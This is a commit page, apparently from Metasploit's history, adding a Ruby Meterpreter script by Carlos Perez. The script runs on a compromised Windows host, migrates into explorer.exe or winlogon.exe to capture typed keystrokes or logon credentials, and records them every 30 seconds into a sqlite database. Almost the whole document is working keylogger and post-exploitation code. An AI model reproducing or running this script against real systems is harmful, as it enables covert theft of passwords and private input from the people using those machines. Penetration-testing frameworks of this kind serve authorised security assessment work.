Script wrapper around the new keylogger commands from Carlos Perez
git-svn-id: file:///home/svn/framework3/trunk@6384 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
8b27f5faef
commit
129890d39b
|
@ -0,0 +1,165 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'sqlite3'
|
||||
#
|
||||
#Meterpreter script for monitoring and capturing Keystrokes and
|
||||
#saving them in to a sqlite db.
|
||||
#Provided by Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
session = client
|
||||
|
||||
#Get Hostname
|
||||
host,port = session.tunnel_peer.split(':')
|
||||
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
logs = ::File.join(Msf::Config.config_directory, 'logs', 'keylogrecorder', host + filenameinfo )
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
#logfile name
|
||||
logfile = logs + ::File::Separator + host + filenameinfo + ".db"
|
||||
|
||||
#Interval for collecting Keystrokes in seconds
|
||||
keytime = 30
|
||||
|
||||
#Type of capture
|
||||
captype = 0
|
||||
|
||||
# Script Options
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu."],
|
||||
"-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds."],
|
||||
"-c" => [ true, "Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default is 0."]
|
||||
|
||||
)
|
||||
#Function to Migrate in to Explorer process to be able to interact with desktop
|
||||
def explrmigrate(session,captype)
|
||||
begin
|
||||
print_status("Migrating process...")
|
||||
if captype.to_i == 0
|
||||
process2mig = "explorer.exe"
|
||||
elsif captype.to_i == 1
|
||||
# Check to make sure that process is running and system to be able to migrate to high priv process
|
||||
if (session.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
|
||||
process2mig = "winlogon.exe"
|
||||
else
|
||||
print_status("\tYou are not currently running as System to be able to migrate to winlogon.")
|
||||
print_status("\tCapturing only logon user keystrokes.")
|
||||
process2mig = "explorer.exe"
|
||||
end
|
||||
else
|
||||
process2mig = "explorer.exe"
|
||||
end
|
||||
# Actual migration
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if (process2mig.index(x['name'].downcase))
|
||||
print_status("\t#{process2mig} Process found, migrating..")
|
||||
session.core.migrate(x['pid'].to_i)
|
||||
print_status("Migration Successful!!")
|
||||
end
|
||||
end
|
||||
return true
|
||||
rescue
|
||||
print_staus("Failed to migrate process!")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#Function for starting the keylogger
|
||||
def startkeylogger(session)
|
||||
begin
|
||||
print_status("Grabbing Desktop Keyboard Input....")
|
||||
session.ui.grab_desktop
|
||||
print_status("Starting the keystroke sniffer...")
|
||||
client.ui.keyscan_start
|
||||
return true
|
||||
rescue
|
||||
print_staus("Failed to start Keylogging!")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#Funtion for Collecting Capture
|
||||
def keycap(session, keytime, logfile)
|
||||
begin
|
||||
rec = 1
|
||||
#Creating DB for captured keystrokes
|
||||
db = SQLite3::Database.new( logfile )
|
||||
print_status("Keystrokes being saved in to #{logfile}")
|
||||
#Creating table for captured keystrokes
|
||||
db.execute("create table keystrokes (tkey INTEGER PRIMARY KEY,data TEXT,timeEnter DATE)")
|
||||
#Inserting keystrokes every number of seconds specified
|
||||
print("[*] Recording .")
|
||||
while rec == 1
|
||||
#getting Keystrokes
|
||||
data = session.ui.keyscan_dump
|
||||
outp = ""
|
||||
data.unpack("n*").each do |inp|
|
||||
fl = (inp & 0xff00) >> 8
|
||||
vk = (inp & 0xff)
|
||||
kc = VirtualKeyCodes[vk]
|
||||
|
||||
f_shift = fl & (1<<1)
|
||||
f_ctrl = fl & (1<<2)
|
||||
f_alt = fl & (1<<3)
|
||||
|
||||
if(kc)
|
||||
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
|
||||
case name
|
||||
when /^.$/
|
||||
outp << name
|
||||
when /shift|click/i
|
||||
when 'Space'
|
||||
outp << " "
|
||||
else
|
||||
outp << " <#{name}> "
|
||||
end
|
||||
else
|
||||
outp << " <0x%.2x> " % vk
|
||||
end
|
||||
end
|
||||
sleep(2)
|
||||
db.execute( "insert into keystrokes (data,timeEnter) values (?,?)", outp,::Time.now.strftime("%Y%m%d.%M%S"))
|
||||
print(".")
|
||||
sleep(keytime.to_i)
|
||||
end
|
||||
db.close
|
||||
rescue::Exception => e
|
||||
db.close
|
||||
print_status("Error: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
def helpmsg
|
||||
print(
|
||||
"Keylogger Recorder Meterpreter Script\n" +
|
||||
"This script will start the Meterpreter Keylogger and save all keys\n" +
|
||||
"in a sqlite3 db for later anlysis. To stop capture hit Ctrl-C\n" +
|
||||
"Usage:" +
|
||||
@@exec_opts.usage
|
||||
)
|
||||
|
||||
end
|
||||
# Parsing of Options
|
||||
helpcall = 0
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
|
||||
when "-t"
|
||||
keytime = val
|
||||
when "-c"
|
||||
captype = val
|
||||
when "-h"
|
||||
helpmsg
|
||||
helpcall = 1
|
||||
end
|
||||
|
||||
}
|
||||
if helpcall == 0
|
||||
if explrmigrate(session,captype)
|
||||
if startkeylogger(session)
|
||||
keycap(session, keytime, logfile)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue